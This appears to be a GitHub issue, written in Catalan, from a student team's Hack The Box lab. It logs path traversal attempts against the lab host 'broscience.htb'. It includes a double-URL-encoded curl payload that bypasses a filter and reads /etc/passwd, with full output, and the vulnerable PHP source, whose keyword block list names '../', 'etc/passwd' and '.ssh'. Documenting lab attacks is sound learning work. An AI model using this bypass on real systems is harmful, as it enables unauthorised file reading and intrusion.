AngelMascaro / broscience_htb_hackingoldschool

0 stars 0 forks source link

Attack plan #2 - Path traversal #10

Closed cpratlao closed 1 year ago

cpratlao commented 1 year ago

Persona --> Cristian Temps --> 27/02/2023 --> 19:40 --> 19:55 Acció --> Path traversal amb ../../../ Endpoint --> https://broscience.htb/img.php Resultat --> Detecta el path traversal com un atac i no el podem fer. Output:

Podem intentar fer un Path Traversal en el LFI per descarregar-nos tots fitxers .php del servidor, per tant, el primer és executar un path traversal amb exit, entrarem a la següent URL:

https://broscience.htb/includes/img.php?path=../../../etc/passwd

Com a resposta ens diu:

Error: Attack detected.

Per tant, no podem fer un path traversal amb la tàctica del "dot dot slash".

Persona --> Cristian Temps --> 27/02/2023 --> 19:55 --> 20:10 Acció --> Path traversal amb double encode (https://owasp.org/www-community/Double_Encoding) Endpoint --> https://broscience.htb/img.php Resultat --> Hem aconseguit fer un path traversal en el Local File Inclusion del fitxer img.php. Output:

┌─[lao@parrot]─[~]
└──╼ $curl --insecure https://broscience.htb/includes/img.php?path=..%252f..%252f..%252f..%252fetc%252fpasswd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
tss:x:103:109:TPM software stack,,,:/var/lib/tpm:/bin/false
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:105:111:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:106:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:107:115:RealtimeKit,,,:/proc:/usr/sbin/nologin
sshd:x:108:65534::/run/sshd:/usr/sbin/nologin
dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
avahi:x:110:116:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin
speech-dispatcher:x:111:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
pulse:x:112:118:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
saned:x:113:121::/var/lib/saned:/usr/sbin/nologin
colord:x:114:122:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:115:123::/var/lib/geoclue:/usr/sbin/nologin
Debian-gdm:x:116:124:Gnome Display Manager:/var/lib/gdm3:/bin/false
bill:x:1000:1000:bill,,,:/home/bill:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
postgres:x:117:125:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false

Un cop podem fer el path traversal podem anar a mirar perquè és possible fer-lo descarregant-nos el fitxer "img.php":

<?php
if (!isset($_GET['path'])) {
    die('<b>Error:</b> Missing 'path' parameter.');
}

// Check for LFI attacks
$path = $_GET['path'];

$badwords = array("../", "etc/passwd", ".ssh");
foreach ($badwords as $badword) {
    if (strpos($path, $badword) !== false) {
        die('<b>Error:</b> Attack detected.');
    }
}

// Normalize path
$path = urldecode($path);

// Return the image
header('Content-Type: image/png');
echo file_get_contents('/var/www/html/images/' . $path);
?>

Com podem el script controla que no existeixin cap de les següents cadenes de caràcters (badwords):

../
etc/passwd
.ssh

Si detecta alguna d'aquestes cadenes de caràcters ens diu:

Attack detected

Per tant, quan fem el "path traversal" amb "double encoded" no utilitzem cap d'aquestes cadenes i l'aconseguim fer.